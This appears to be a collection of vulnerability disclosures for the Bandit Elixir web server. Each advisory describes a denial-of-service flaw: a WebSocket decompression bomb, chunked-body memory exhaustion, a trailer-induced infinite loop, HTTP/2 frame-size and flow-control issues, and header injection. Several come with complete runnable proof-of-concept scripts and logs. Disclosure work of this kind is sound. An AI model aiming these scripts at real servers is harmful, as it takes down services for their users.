[11:04:36.806] Sent 3392/4096 continuations (~3392 MiB accumulated).
[11:04:36.838] [mem] BEAM total = 3463 MiB
[11:04:36.927] Sent 3456/4096 continuations (~3456 MiB accumulated).
[11:04:37.041] Sent 3520/4096 continuations (~3520 MiB accumulated).
[11:04:37.089] [mem] BEAM total = 3610 MiB
[11:04:37.157] Sent 3584/4096 continuations (~3584 MiB accumulated).
[11:04:37.273] Sent 3648/4096 continuations (~3648 MiB accumulated).
[11:04:37.340] [mem] BEAM total = 3735 MiB
[11:04:37.389] Sent 3712/4096 continuations (~3712 MiB accumulated).
[11:04:37.504] Sent 3776/4096 continuations (~3776 MiB accumulated).
[11:04:37.591] [mem] BEAM total = 3878 MiB
[11:04:37.629] Sent 3840/4096 continuations (~3840 MiB accumulated).
[11:04:37.745] Sent 3904/4096 continuations (~3904 MiB accumulated).
[11:04:37.842] [mem] BEAM total = 4012 MiB
[11:04:37.862] Sent 3968/4096 continuations (~3968 MiB accumulated).
[11:04:37.982] Sent 4032/4096 continuations (~4032 MiB accumulated).
[11:04:38.093] [mem] BEAM total = 4142 MiB
[11:04:38.105] Sent 4096/4096 continuations (~4096 MiB accumulated).
[11:04:38.105] Finished sending. Never sent fin=1 — server should still be holding the iolist.
[11:04:38.344] [mem] BEAM total = 4149 MiB
[11:04:38.596] [mem] BEAM total = 4149 MiB
[11:04:38.847] [mem] BEAM total = 4149 MiB
[11:04:39.098] [mem] BEAM total = 4149 MiB
[11:04:39.349] [mem] BEAM total = 4149 MiB
[11:04:39.600] [mem] BEAM total = 4149 MiB
[11:04:39.851] [mem] BEAM total = 4149 MiB
[11:04:40.102] [mem] BEAM total = 4149 MiB
[11:04:40.106] Done.

Summary

When a Bandit-fronted server has explicitly enabled WebSocket permessage-deflate (compress: true), an unauthenticated client can OOM the BEAM with a single ~6 MiB WebSocket frame. Bandit's inflate step has no output-size cap, so a small high-ratio compressed frame (e.g. zeros, ~1024:1 ratio) decompresses unbounded into the connection process before any application code runs. Phoenix and LiveView are not vulnerable by default — they ship with compress: false. Affected apps are those that have deliberately opted in to permessage-deflate.

Details

In lib/bandit/websocket/permessage_deflate.ex:111-115, :zlib.inflate/2 is called without an output-size limit, and IO.iodata_to_binary/1 then materializes the entire decompressed payload as one contiguous binary in the connection process's heap.

websocket_options.max_frame_size only bounds the on-the-wire (compressed) frame, not the decompressed output. With ~1024:1 compression on uniform data, an attacker can stay well under any wire-size cap while still forcing GiB-scale allocations. There is no {:more, ...} resumable path on inflate, so upstream callers cannot interpose a 413/close before the allocation completes.

The bug is gated by two server-side flags being true at the same time:

• Bandit's global websocket_options.compress (defaults to true per bandit.ex:198-201).
• The per-upgrade connection_opts.compress passed to WebSockAdapter.upgrade/4 (defaults to false per websock_adapter.ex:42-43; Phoenix's default is also false per phoenix/lib/phoenix/transports/websocket.ex:33).

Both must be true for the handshake at bandit/lib/bandit/websocket/handshake.ex:22 to negotiate permessage-deflate. So the bug is only reachable on apps that explicitly opt in (e.g. socket "/ws", MySocket, websocket: [compress: true] in a Phoenix endpoint, or WebSockAdapter.upgrade(conn, ..., compress: true) in a plain Plug app).

Suggested fix: thread a maximum-output-size through to inflate and either error out or return resumable chunks once exceeded, mirroring how the HTTP content-length path bounds reads via :length.

PoC

A fully self-contained reproducer is attached below. It boots a local Bandit server that performs a WebSockAdapter.upgrade(conn, EchoSocket, %{}, compress: true), opens one WebSocket connection, and sends a single text frame whose ~6 MiB compressed payload inflates to 6 GiB of zeros. Run it with elixir ws_permessage_deflate_bomb.exs.

Observed on a 16 GiB Mac (Bandit 1.10.4, Elixir 1.18, otherwise default config):

• Frame on the wire: ~6 MiB.
• BEAM RSS climbed from ~80 MiB to ~12 GiB peak during inflate (6 GiB inflated payload + a transient 6 GiB copy held by IO.iodata_to_binary/1), then settled at ~6 GiB until the connection process was GC'd.
• Tuning @target_decompressed_bytes upward, or opening N parallel connections, OOM-kills the BEAM outright.

A separate observation worth flagging: in the default setup, something upstream caps wire-side frames at ~8 MiB even though Bandit's documented max_frame_size default is 0 (unlimited). The bug is reachable below that cap regardless, but the source of that effective cap is worth confirming.

Impact

Unauthenticated, pre-application-code denial-of-service via memory exhaustion. A single frame from a single client is sufficient to drive a small host to OOM; concurrent connections amplify linearly. The attacker needs only that the server accepts a WebSocket connection — no authentication, no valid route, no application cooperation.

Affected: any Bandit-fronted application that explicitly enables permessage-deflate on its WebSocket upgrade. Stock Phoenix and LiveView apps are not affected — both default to compress: false. Apps that opt in (typically for bandwidth savings on large payloads) inherit an unbounded-inflate DoS that the documentation does not warn about.

# Bandit WebSocket permessage-deflate bomb PoC.
#
# lib/bandit/websocket/permessage_deflate.ex:111-115 calls :zlib.inflate/2
# with no output-size cap. A small (~4 MiB) compressed frame inflates to
# multiple GiB on the BEAM heap before any application code sees it.
#
# Note: in the default setup something upstream caps wire-side frames at
# ~8 MiB even though Bandit's documented max_frame_size default is 0
# (unlimited). The bug is reachable below that cap regardless.
#
# Run: elixir scripts/bandit/ws_permessage_deflate_bomb.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"},
  {:websock_adapter, "~> 0.5"}
])

defmodule EchoSocket do
  @behaviour WebSock

  def init(_opts), do: {:ok, %{}}
  def handle_in(_message, state), do: {:ok, state}
  def handle_info(_message, state), do: {:ok, state}
  def terminate(_reason, state), do: {:ok, state}
end

defmodule DemoApp do
  @behaviour Plug
  def init(opts), do: opts
  def call(conn, _opts) do
    conn
    |> WebSockAdapter.upgrade(EchoSocket, %{}, compress: true)
    |> Plug.Conn.halt()
  end
end

defmodule Bomb do
  @port 4321
  # 6 GiB inflated -> ~6 MiB compressed (well under the ~8 MiB wire cap).
  @target_decompressed_bytes 6 * 1024 * 1024 * 1024
  @plaintext_chunk_bytes 10 * 1024 * 1024

  def run do
    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)

    sock = ws_handshake!()
    deflate_payload = build_deflate_bomb()
    frame = compressed_text_frame(deflate_payload)

    sampler_pid = spawn_link(&sample_memory_loop/0)

    log("Sending #{byte_size(frame)}-byte compressed frame…")
    :ok = :gen_tcp.send(sock, frame)
    handle_recv(sock)

    Process.unlink(sampler_pid)
    Process.exit(sampler_pid, :kill)
    :gen_tcp.close(sock)
    log("Done.")
  end

  # Open a TCP connection and complete the WebSocket handshake with
  # permessage-deflate. Raises if the server doesn't negotiate it.
  defp ws_handshake! do
    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
    ws_key = :crypto.strong_rand_bytes(16) |> Base.encode64()

    :ok =
      :gen_tcp.send(sock, """
      GET / HTTP/1.1\r
      Host: 127.0.0.1\r
      Upgrade: websocket\r
      Connection: Upgrade\r
      Sec-WebSocket-Key: #{ws_key}\r
      Sec-WebSocket-Version: 13\r
      Sec-WebSocket-Extensions: permessage-deflate\r
      \r
      """)

    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
    if not (response =~ "permessage-deflate"), do: raise("permessage-deflate not negotiated:\n#{response}")
    log("Handshake complete.")
    sock
  end

  # Stream-deflate @target_decompressed_bytes worth of zeros so the client
  # never holds the full plaintext at once. RFC 7692 uses raw deflate
  # (window_bits=-15) and ends each message with 0x00 0x00 0xFF 0xFF, which
  # we strip per the spec.
  defp build_deflate_bomb do
    chunk = :binary.copy(<<0>>, @plaintext_chunk_bytes)
    chunk_count = div(@target_decompressed_bytes, @plaintext_chunk_bytes)
    log("Deflating #{div(@target_decompressed_bytes, 1024 * 1024)} MiB plaintext…")

    zstream = :zlib.open()
    :ok = :zlib.deflateInit(zstream, :default, :deflated, -15, 8, :default)
    deflated_chunks = Enum.map(1..chunk_count, fn _ -> :zlib.deflate(zstream, chunk, :none) end)
    final_flush = :zlib.deflate(zstream, <<>>, :sync)
    :zlib.close(zstream)

    deflated = IO.iodata_to_binary([deflated_chunks, final_flush])
    trailer_size = byte_size(deflated) - 4
    <<payload::binary-size(trailer_size), 0x00, 0x00, 0xFF, 0xFF>> = deflated

    log("Compressed to #{byte_size(payload)} bytes (ratio ~#{div(@target_decompressed_bytes, byte_size(payload))}x).")
    payload
  end

  # Wrap payload in a single masked WebSocket text frame with RSV1 set
  # (FIN=1, RSV1=1 indicates permessage-deflate compressed, opcode=0x1=text).
  defp compressed_text_frame(payload) do
    mask = :crypto.strong_rand_bytes(4)
    payload_size = byte_size(payload)
    mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)
    masked_payload = :crypto.exor(payload, mask_stream)

    length_bytes =
      cond do
        payload_size <= 125 -> <<1::1, payload_size::7>>
        payload_size <= 0xFFFF -> <<1::1, 126::7, payload_size::16>>
        true -> <<1::1, 127::7, payload_size::64>>
      end

    <<1::1, 1::1, 0::2, 0x1::4, length_bytes::binary, mask::binary, masked_payload::binary>>
  end

  # EchoSocket.handle_in/2 doesn't reply, so recv times out after the
  # observation window. That's enough to watch the BEAM heap spike.
  defp handle_recv(sock) do
    case :gen_tcp.recv(sock, 0, 5_000) do
      {:ok, <<0x88, _len, close_code::16, close_reason::binary>>} ->
        log("Close frame: code=#{close_code} reason=#{inspect(close_reason)}")

      {:ok, bytes} ->
        log("Reply (#{byte_size(bytes)} bytes): #{inspect(bytes, base: :hex, limit: 64)}")

      {:error, :timeout} ->
        log("recv timed out (server held the inflated payload silently).")

      {:error, reason} ->
        log("Connection closed: #{inspect(reason)}")
    end
  end

  defp sample_memory_loop do
    log("[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB")
    Process.sleep(250)
    sample_memory_loop()
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

Bomb.run()

Logs

10:15:24.243 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[08:15:24.269] Handshake complete.
[08:15:24.321] Deflating 6144 MiB plaintext…
[08:15:37.567] Compressed to 6257675 bytes (ratio ~1029x).
[08:15:37.581] Sending 6257689-byte compressed frame…
[08:15:37.582] [mem] BEAM total = 76 MiB
[08:15:37.834] [mem] BEAM total = 759 MiB
[08:15:38.087] [mem] BEAM total = 1480 MiB
[08:15:38.338] [mem] BEAM total = 2214 MiB
[08:15:38.589] [mem] BEAM total = 2724 MiB
[08:15:38.840] [mem] BEAM total = 3410 MiB
[08:15:39.091] [mem] BEAM total = 3877 MiB
[08:15:39.342] [mem] BEAM total = 4268 MiB
[08:15:39.593] [mem] BEAM total = 4815 MiB
[08:15:39.845] [mem] BEAM total = 5270 MiB
[08:15:40.096] [mem] BEAM total = 5766 MiB
[08:15:40.347] [mem] BEAM total = 12451 MiB
[08:15:40.598] [mem] BEAM total = 12452 MiB
[08:15:40.850] [mem] BEAM total = 12452 MiB
[08:15:41.101] [mem] BEAM total = 12452 MiB
[08:15:41.353] [mem] BEAM total = 12452 MiB
[08:15:41.606] [mem] BEAM total = 12451 MiB
[08:15:41.856] [mem] BEAM total = 6229 MiB
[08:15:42.107] [mem] BEAM total = 6229 MiB
[08:15:42.358] [mem] BEAM total = 6229 MiB
[08:15:42.582] recv timed out (server held the inflated payload silently).
[08:15:42.584] Done.

Summary

Improper Neutralization of CRLF Sequences ('CRLF Injection') vulnerability in mtrudel bandit allows an unauthenticated remote attacker to smuggle CR, LF, or NUL characters into application-visible request headers via HTTP/2. Bandit.HTTP2.Stream.read_headers/1 validates pseudo-header placement and uniqueness, header-name casing, connection-specific headers, the te value, and content-length, but never checks field values. Because HPACK carries arbitrary octets, a HEADERS block whose field values contain \r, \n, or \0 decodes without error and the values land in conn.req_headers unchanged. The HTTP/1 path already rejects the same octets; HTTP/2 did not.

Bandit itself is not a sink for the injected bytes: its own logging uses fixed strings or inspect, and HTTP/2 response headers are HPACK-encoded and separately rejected by Plug's put_resp_header, so response splitting is not reachable through this path. The risk is entirely in how a downstream application consumes header values, such as appending one verbatim to a plain-text log or concatenating it into an upstream request. A related gap bundled in the same fix: only :method, :scheme, and :path were checked for at most one occurrence; a duplicate :authority pseudo-header was accepted, with the first instance silently winning as conn.host while a conflicting value remained visible to the application.

This issue affects bandit: from 1.4.0 before 1.12.5.

Summary

Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows an unauthenticated remote attacker to pin an unbounded number of HTTP/2 stream processes indefinitely via connection-level flow control. When a stream's response body outruns the HTTP/2 connection-level send window (default 65,535 bytes, shared across all streams on the connection), Bandit.HTTP2.Connection queues the remaining bytes and a reply closure in pending_sends and the stream process blocks forever inside a synchronous call to the connection process. Nothing bounds that wait and nothing purges the queue: a client RST_STREAM for the blocked stream is delivered to its mailbox but never read while it is stuck inside the call, so cancelling frees nothing, and periodic PING frames keep the transport-level read timeout from ever firing. The equivalent block on the stream-level send window is already bounded at 15 seconds; the connection-level path had no such bound.

Each stalled stream pins its process, Plug state, and any resource the Plug holds across the blocked write, such as a pooled upstream connection in a reverse-proxy Plug. The attacker chooses any endpoint whose response exceeds the connection window (common for most non-trivial payloads), grants a generous stream-level window so only the connection window limits it, and keeps the connection alive with periodic PINGs; the primitive is repeatable across streams and connections at the cost of one idle socket each.

This issue affects bandit: from 0.3.4 before 1.12.5.

Summary

A worker-pinning denial of service in Bandit's HTTP/1 chunked transfer decoder. Any unauthenticated client that sends a Transfer-Encoding: chunked request whose body ends with a trailer field (RFC 9112 §7.1.2 explicitly permits this) causes the connection's worker process to spin forever in an infinite recursion. A handful of concurrent connections are sufficient to exhaust the listener pool and render the server unresponsive to all further traffic.

The vulnerability was likely introduced with this commit on Dec 6, 2024: https://github.com/mtrudel/bandit/commit/e73e379ab59840e8561b5730878f16e29ab06217

Details

The bug is in lib/bandit/http1/socket.ex in do_read_chunked_data!/5 (around lines 242–274). The terminator clause matches only ["0", "\r\n" <> rest] — i.e. the last-chunk line 0\r\n followed immediately by the empty trailer line. RFC 9112 §7.1.2 allows zero or more trailer fields between 0\r\n and the final \r\n, e.g. a body ending 0\r\nX-T: v\r\n\r\n.

When trailers are present, :binary.split/2 returns ["0", "X-T: v\r\n\r\n"]. The terminator clause does not match. The inner <<_::binary-size(0), ?\r, ?\n, _::binary>> pattern also does not match because rest starts with X. Execution falls into the _ -> arm, which computes to_read = 0 - byte_size(rest) (a negative number) and calls read_available!/2 on the socket. On timeout, read_available!/2 returns <<>>, leaving the buffer unchanged. do_read_chunked_data!/5 then tail-recurses with the same state and makes no forward progress. The worker is pinned for the lifetime of the TCP connection.

The same shape applies to malformed chunk frames where the declared chunk-size disagrees with the actual data length: the binary-size pattern cannot match and read_available! is repeatedly called with no progress.

The gap is acknowledged in the source itself — the comment on line 245 reads: "We should be reading (and ignoring) trailers here".

Suggested fix: after the 0 size line, consume bytes up to \r\n\r\n (parsing/discarding trailers via :erlang.decode_packet(:httph_bin, …)) before returning. Additionally, ensure every recursive arm makes forward progress — when read_available!/2 returns <<>>, raise request_error!(:request_timeout) rather than re-entering with an unchanged buffer.

PoC

A self-contained reproduction script is available below. It starts Bandit 1.10 on 127.0.0.1:4321 with a trivial echo Plug, opens a TCP connection, and sends a single chunked POST whose body is:

• one 5-byte chunk "hello"
• the last-chunk marker 0\r\n
• one trailer field X-Trailer: 1\r\n
• the terminating \r\n

The request is fully RFC-conformant; many fronting proxies (NGINX, HAProxy) emit this exact shape when forwarding trailer-bearing requests. A correct server responds within milliseconds. With the bug, :gen_tcp.recv/3 times out after 10 seconds because the worker is stuck spinning in do_read_chunked_data!/5.

Steps to reproduce:

1. elixir script.exs
2. Observe the TIMEOUT — worker is pinned in do_read_chunked_data!/5 log line.
3. Each additional concurrent client sending the same request consumes one more worker process.

Impact

Unauthenticated denial of service against any Bandit-fronted HTTP/1 service that accepts chunked request bodies — the default for Phoenix and Plug applications. No authentication, no special headers, and no large payload are required; a small number of attacker-controlled connections is enough to exhaust the worker pool and make the server unreachable for all users. Servers sitting behind proxies that legitimately forward trailer-bearing requests can also be affected without any malicious client involvement.

Script and Logs

# Bandit HTTP/1 chunked decoder hangs on requests with trailer headers.
#
# lib/bandit/http1/socket.ex:242-274 (do_read_chunked_data!/5) terminates
# only when the last-chunk line `0\r\n` is followed *immediately* by the
# empty trailer line `\r\n`. RFC 9112 §7.1.2 allows trailer fields between
# them (e.g. `0\r\nX-T: v\r\n\r\n`). With trailers present, none of the
# match clauses fit: the `_` arm computes `to_read = 0 - byte_size(rest)`
# (negative), calls read_available!/2, gets <<>> on timeout, and recurses
# with the same buffer forever — pinning the worker for the connection's
# lifetime. The line 245 comment ("We should be reading (and ignoring)
# trailers here") acknowledges the gap.
#
# This script starts Bandit 1.10 on 127.0.0.1:4321, sends one chunked POST
# whose body ends with a single trailer field, and waits for a response.
# A correct server replies in milliseconds; the buggy decoder never does.
#
# Run: elixir script.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule EchoApp do
  @behaviour Plug
  def init(opts), do: opts

  def call(conn, _opts) do
    {:ok, body, conn} = Plug.Conn.read_body(conn)
    Plug.Conn.send_resp(conn, 200, "got #{byte_size(body)} bytes")
  end
end

defmodule TrailerHang do
  @port 4321
  @recv_timeout_ms 10_000

  def run do
    {:ok, _} = Bandit.start_link(plug: EchoApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])

    request = build_chunked_request_with_trailer()
    log("Sending chunked POST whose body ends with `0\\r\\nX-Trailer: 1\\r\\n\\r\\n`.")
    :ok = :gen_tcp.send(sock, request)

    log("Waiting up to #{div(@recv_timeout_ms, 1000)}s for a response (a correct server replies in ms)…")
    started_at = System.monotonic_time(:millisecond)

    case :gen_tcp.recv(sock, 0, @recv_timeout_ms) do
      {:ok, response} ->
        elapsed = System.monotonic_time(:millisecond) - started_at
        log("Got response after #{elapsed}ms — server handles trailers correctly:")
        IO.puts(binary_part(response, 0, min(byte_size(response), 256)))

      {:error, :timeout} ->
        log("TIMEOUT — worker is pinned in do_read_chunked_data!/5.")
        log("Each concurrent client sending this shape consumes one Bandit worker.")

      {:error, reason} ->
        log("Connection error: #{inspect(reason)}")
    end

    :gen_tcp.close(sock)
  end

  # Body: one 5-byte chunk "hello", last-chunk marker `0\r\n`, one trailer
  # `X-Trailer: 1\r\n`, terminating `\r\n`. RFC-conformant; many proxies
  # (NGINX, HAProxy) emit this shape when forwarding trailer-bearing
  # responses or requests.
  defp build_chunked_request_with_trailer do
    "POST / HTTP/1.1\r\n" <>
      "Host: 127.0.0.1:#{@port}\r\n" <>
      "Transfer-Encoding: chunked\r\n" <>
      "Trailer: X-Trailer\r\n" <>
      "Content-Type: application/octet-stream\r\n" <>
      "\r\n" <>
      "5\r\nhello\r\n" <>
      "0\r\n" <>
      "X-Trailer: 1\r\n" <>
      "\r\n"
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

TrailerHang.run()

12:36:54.260 [info] Running EchoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[10:36:54.275] Sending chunked POST whose body ends with `0\r\nX-Trailer: 1\r\n\r\n`.
[10:36:54.276] Waiting up to 10s for a response (a correct server replies in ms)…
[10:37:04.276] TIMEOUT — worker is pinned in do_read_chunked_data!/5.
[10:37:04.276] Each concurrent client sending this shape consumes one Bandit worker.

Summary

Bandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. Plug.Parsers' default 8 MB length:) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single Transfer-Encoding: chunked request to any URL.

Details

In lib/bandit/http1/socket.ex:189, the chunked clause of read_data/2 only forwards :read_length and :read_timeout to do_read_chunked_data!/5 (:242); the caller-supplied :length cap is dropped. The recursion accumulates every chunk into an iolist and IO.iodata_to_binary/1 (:196) materializes the whole thing as one binary. The function always returns {:ok, body, ...} — never {:more, ...} — so callers cannot interpose a 413.

The content-length sibling at :210 does the right thing:

max_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000))

Because Plug.Parsers runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route — any Content-Type matching a configured parser (:json, :urlencoded, :multipart) on any path triggers the bug.

Suggested Fix: track accumulated bytes in do_read_chunked_data! and either return {:more, ...} or raise request_error! once :length is exceeded, mirroring the content-length path.

PoC

Self-contained — boots a Bandit server with a realistic Plug.Parsers (length: 8_000_000) and floods it. Save as chunked_oom.exs, run elixir chunked_oom.exs, and watch beam.smp RSS climb past 8 MB until the OS OOM-killer fires.

Mix.install([{:bandit, "~> 1.10"}, {:plug, "~> 1.19"}])

defmodule DemoApp do
  use Plug.Builder

  # The `length` option here is ignored by the attack
  plug Plug.Parsers, parsers: [:urlencoded, :json], pass: ["*/*"], json_decoder: JSON, length: 8_000_000
  plug :respond

  def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, "ok")
end

{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)

# Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side.
chunk = :binary.copy(<<?A>>, 1_048_576)
frame = "#{Integer.to_string(1_048_576, 16)}\r\n#{chunk}\r\n"

{:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", 4321, [:binary, active: false])

:ok =
  :gen_tcp.send(sock, """
  POST / HTTP/1.1\r
  Host: 127.0.0.1\r
  Transfer-Encoding: chunked\r
  Content-Type: application/json\r
  Connection: close\r
  \r
  """)

Enum.each(1..10_240, fn _ -> :ok = :gen_tcp.send(sock, frame) end)
:ok = :gen_tcp.send(sock, "0\r\n\r\n")

IO.inspect(:gen_tcp.recv(sock, 0, 120_000))

Impact

Unauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere — i.e. essentially every Phoenix app, since the default endpoint mounts Plug.Parsers ahead of routing and auth. Configured length: caps on Plug.Parsers and Plug.Conn.read_body/2 are silently ineffective on the chunked path.

Summary

Bandit's HTTP/2 parser checks frame size after it has already buffered the full body, instead of when it sees the 9-byte header. A peer can announce a 16 MiB frame on a connection that agreed to 16 KiB frames and the server will silently buffer up to 1024× the agreed budget per connection. Across many connections this becomes a memory-pressure DoS. Severity: medium.

Details

In lib/bandit/http2/frame.ex:23-65, every clause that could detect an oversized frame requires payload::binary-size(length) to match — meaning the body has to be fully in memory before the size guard runs. Until then the parser returns {:more, msg} and the connection layer keeps reading. So the cap fires only after the violation is complete.

The frame type and stream id don't matter; the parser never gets that far.

PoC

The script is at the end. It:

1. Opens an h2c connection to a Bandit server it starts itself.
2. Sends a 9-byte frame header announcing length = 0xFFFFFF (~16 MiB).
3. Polls for GOAWAY(FRAME_SIZE_ERROR). If silent, drips body bytes in 64 KiB chunks.

A patched server sends GOAWAY on the header alone. A vulnerable server stays silent and keeps accepting bytes.

Suggested fix

Add a header-only clause that rejects on the length field alone, e.g. def deserialize(<<length::24, _::binary>> = msg, max_frame_size) when length > max_frame_size, do: {{:error, frame_size_error(), "..."}, drop_frame_or_close(msg)}, placed before the body-bearing clauses so the size check runs as soon as the 9-byte header is in hand rather than after the body has been buffered.

Impact

Any Bandit server speaking HTTP/2 (h2 or h2c). No authentication or specific route needed — the bug is in the framing layer, before any Plug runs. An attacker holding a few thousand concurrent connections can pin tens of GiB of buffer memory, far beyond what the negotiated max_frame_size should allow. No code execution, no data disclosure — pure resource exhaustion.

Fix: add a header-only clause that rejects on length > max_frame_size as soon as the 9 header bytes arrive, before the body-bearing clauses.

# Bandit HTTP/2 oversized-frame late-check PoC.
#
# RFC 9113 §6.5.2 sets the default SETTINGS_MAX_FRAME_SIZE to 16384.
# Bandit's frame deserializer (lib/bandit/http2/frame.ex) checks this
# limit *after* matching `payload::binary-size(length)` in the frame
# pattern. When the announced length exceeds what the buffer holds,
# none of the body-bearing clauses match and `deserialize/2` returns
# `{:more, msg}`, telling the caller to keep buffering. The oversize
# error in the "valid shape, length > max_frame_size" clause therefore
# fires only *after* the entire announced body has been received —
# letting a peer trickle up to ~16 MiB per frame (the 24-bit length
# field maximum) into the server before the cap engages, well past
# the 16 KiB the server agreed to.
#
# This PoC announces a frame with length = 0xFFFFFF (~16 MiB), drips
# body bytes in 64 KiB chunks, and after each chunk does a brief
# non-blocking recv to see if the server has reacted. A patched server
# should send GOAWAY(FRAME_SIZE_ERROR) within the first chunk (header
# alone is enough). A vulnerable server keeps silently accepting up
# to the full 16 MiB.
#
# We use a SETTINGS frame (type=0x4, stream_id=0) for the abusive
# header — the parser never reaches dispatch (it's stuck buffering
# body), so the type and stream id are immaterial to the bug.
#
# Run: elixir scripts/bandit/http2_frame_size_late_check.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule NoopApp do
  @behaviour Plug
  def init(opts), do: opts
  def call(conn, _opts), do: Plug.Conn.send_resp(conn, 200, "ok\n")
end

defmodule FrameSizeLateCheck do
  @port 4321
  @connection_preface "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"

  @type_settings 0x4
  @type_goaway 0x7
  @flag_settings_ack 0x1

  @max_24_bit 0xFFFFFF
  @drip_chunk_size 64 * 1024
  @max_total_drip 4 * 1024 * 1024

  def run do
    {:ok, _} = Bandit.start_link(plug: NoopApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} =
      :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false, nodelay: true])

    advertised_max_frame_size = handshake!(sock)
    log("Handshake complete. Server advertised max_frame_size=#{advertised_max_frame_size}.")

    abusive_header =
      frame_header(@max_24_bit, @type_settings, 0, 0)

    log(
      "Sending oversized SETTINGS header: length=#{@max_24_bit} " <>
        "(#{div(@max_24_bit, 1024 * 1024)} MiB) vs cap #{advertised_max_frame_size}."
    )

    :ok = :gen_tcp.send(sock, abusive_header)

    case poll_for_reaction(sock, 200) do
      {:goaway, error_code} ->
        log("Server sent GOAWAY on header alone: error_code=#{error_code} — patched.")
        finish(sock)

      :silent ->
        log("Server silent after header. Beginning body drip…")
        drip_loop(sock, 0)
    end
  end

  defp drip_loop(sock, total_sent) when total_sent >= @max_total_drip do
    log(
      "Drip cap reached: #{total_sent} bytes accepted with no server reaction. " <>
        "Server is buffering an oversized frame body well past max_frame_size."
    )

    finish(sock)
  end

  defp drip_loop(sock, total_sent) do
    chunk = :binary.copy(<<0>>, @drip_chunk_size)

    case :gen_tcp.send(sock, chunk) do
      :ok ->
        new_total = total_sent + @drip_chunk_size

        case poll_for_reaction(sock, 50) do
          {:goaway, error_code} ->
            log(
              "After #{new_total} body bytes (#{div(new_total, 1024)} KiB) the server " <>
                "sent GOAWAY: error_code=#{error_code}."
            )

            finish(sock)

          :silent ->
            if rem(new_total, 512 * 1024) == 0 do
              log("Dripped #{div(new_total, 1024)} KiB so far, no reaction.")
            end

            drip_loop(sock, new_total)
        end

      {:error, reason} ->
        log("Send failed at total=#{total_sent}: #{inspect(reason)}.")
        finish(sock)
    end
  end

  defp poll_for_reaction(sock, timeout_ms) do
    case :gen_tcp.recv(sock, 9, timeout_ms) do
      {:ok, <<length::24, type::8, _flags::8, _r::1, _stream_id::31>>} ->
        case recv_payload(sock, length, timeout_ms) do
          {:ok, payload} when type == @type_goaway ->
            <<_last_id::32, error_code::32, _debug::binary>> = payload
            {:goaway, error_code}

          {:ok, _} ->
            :silent

          {:error, _} ->
            :silent
        end

      {:error, :timeout} ->
        :silent

      {:error, :closed} ->
        {:goaway, :connection_closed_without_goaway}
    end
  end

  defp finish(sock), do: :gen_tcp.close(sock)

  # --- HTTP/2 handshake helpers ------------------------------------------

  defp handshake!(sock) do
    :ok = :gen_tcp.send(sock, @connection_preface)
    :ok = :gen_tcp.send(sock, build_settings_frame(<<>>))

    {:ok, server_settings_frame} = recv_full_frame(sock, 5_000)
    @type_settings = server_settings_frame.type
    advertised_max_frame_size = parse_max_frame_size(server_settings_frame.payload)

    :ok = :gen_tcp.send(sock, build_settings_frame(<<>>, @flag_settings_ack))

    _ = drain(sock, 100)
    advertised_max_frame_size
  end

  # SETTINGS payload is a sequence of 6-byte (id::16, value::32) entries.
  # SETTINGS_MAX_FRAME_SIZE has id=0x5; default per RFC 9113 is 16384.
  defp parse_max_frame_size(payload), do: parse_max_frame_size(payload, 16384)
  defp parse_max_frame_size(<<>>, current_value), do: current_value

  defp parse_max_frame_size(<<0x5::16, value::32, rest::binary>>, _current) do
    parse_max_frame_size(rest, value)
  end

  defp parse_max_frame_size(<<_id::16, _value::32, rest::binary>>, current) do
    parse_max_frame_size(rest, current)
  end

  defp build_settings_frame(payload, flags \\ 0) do
    frame_header(byte_size(payload), @type_settings, flags, 0) <> payload
  end

  defp frame_header(length, type, flags, stream_id) do
    <<length::24, type::8, flags::8, 0::1, stream_id::31>>
  end

  defp recv_full_frame(sock, timeout_ms) do
    with {:ok, <<length::24, type::8, flags::8, _r::1, stream_id::31>>} <-
           :gen_tcp.recv(sock, 9, timeout_ms),
         {:ok, payload} <- recv_payload(sock, length, timeout_ms) do
      {:ok, %{length: length, type: type, flags: flags, stream_id: stream_id, payload: payload}}
    end
  end

  defp recv_payload(_sock, 0, _timeout_ms), do: {:ok, <<>>}
  defp recv_payload(sock, length, timeout_ms), do: :gen_tcp.recv(sock, length, timeout_ms)

  defp drain(sock, timeout_ms) do
    case :gen_tcp.recv(sock, 0, timeout_ms) do
      {:ok, bytes} -> bytes <> drain(sock, timeout_ms)
      {:error, _} -> <<>>
    end
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

FrameSizeLateCheck.run()

17:23:19.125 [info] Running NoopApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
